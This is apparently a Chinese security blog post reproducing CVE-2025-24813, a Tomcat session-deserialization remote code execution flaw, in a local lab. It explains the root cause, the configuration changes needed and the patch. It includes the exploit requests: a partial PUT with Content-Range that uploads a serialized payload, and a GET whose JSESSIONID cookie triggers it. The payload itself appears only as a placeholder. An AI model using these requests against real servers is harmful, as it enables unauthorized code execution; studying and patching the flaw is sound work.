免责声明
本文仅面向网络安全教育及技术交流,所涉漏洞分析禁止用于任何非法用途。读者须在合法授权环境下实验并严格遵守《网络安全法》等法律法规,由于传播、利用本公众号所发布的文章而造成的任何直接或者间接的后果及损失,均由行为人自行承担,本公众号不承担任何责任。
漏洞概况
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。
Tomcat 在特定配置下存在反序列化漏洞。攻击者可通过构造恶意请求,利用文件会话持久化机制将恶意序列化数据写入服务器,并在后续请求中触发反序列化操作,从而导致远程代码执行。
该漏洞利用条件较为复杂,需同时满足以下四个条件:
- 应用中
DefaultServlet写入功能启用,该功能默认关闭 - 应用中
Partial PUT请求支持,能够将恶意的序列化数据写入到会话文件中,该功能默认开启 - 应用中文件会话持久化启用,需要额外配置
- 应用中存在反序列化利用链,此条件取决于业务实现是否依赖存在反序列化利用链的库
影响范围
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
原理分析
Content-Range在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。
该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:文件路径中的分隔符/会被转换为.。例如:访问/xxxxx/session会被解析为.xxxxx.session
因此整个漏洞的利用过程为:
- Tomcat的File会话存储默认路径同样位于:
CATALINA_BASE/work/Catalina/localhost/ROOT - 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
- 通过设置
JSESSIONID=.xxxxx来触发漏洞
环境准备
首先我们在官网下载Tomcat的9.0.98版本
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98-windows-x64.zip

我这里是用IDEA打开的项目,在\apache-tomcat-9.0.98\conf\context.xml中,将下面内容添加到<Context>中,作用是开启File文件会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

在\apache-tomcat-9.0.98\conf\web.xml中,将下面内容添加到<servlet>中,作用是取消只读,启用了写入功能
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

在\apache-tomcat-9.0.98\webapps\ROOT\WEB-INF\目录下新增lib文件夹,然后将我们下载的Commons Collections 3.2.1.jar放入lib文件夹中,作用是增加一个可以利用的库

启动Tomcat服务


漏洞复现
这里我使用的是Yakit自带的Yso-Java Hack生成的恶意序列化Payload



使用以下数据包上传
注:Content-Range值需要与Content-Length值保持一致,且大于当前文件的长度。
PUT /xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{反序列化文件内容)}}




使用以下PoC触发
GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.xxxxx

修复方案
Apache官方已发布漏洞公告,可下载补丁更新:
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
参考:
https://forum.butian.net/article/674
https://mp.weixin.qq.com/s/DM9-TU3QlfdeyhsyVoWt9Q
欢迎关注微信公众号:不安全的Amble

CVE-2025-24813:Apache Tomcat 远程代码执行漏洞复现
967

被折叠的 条评论
为什么被折叠?



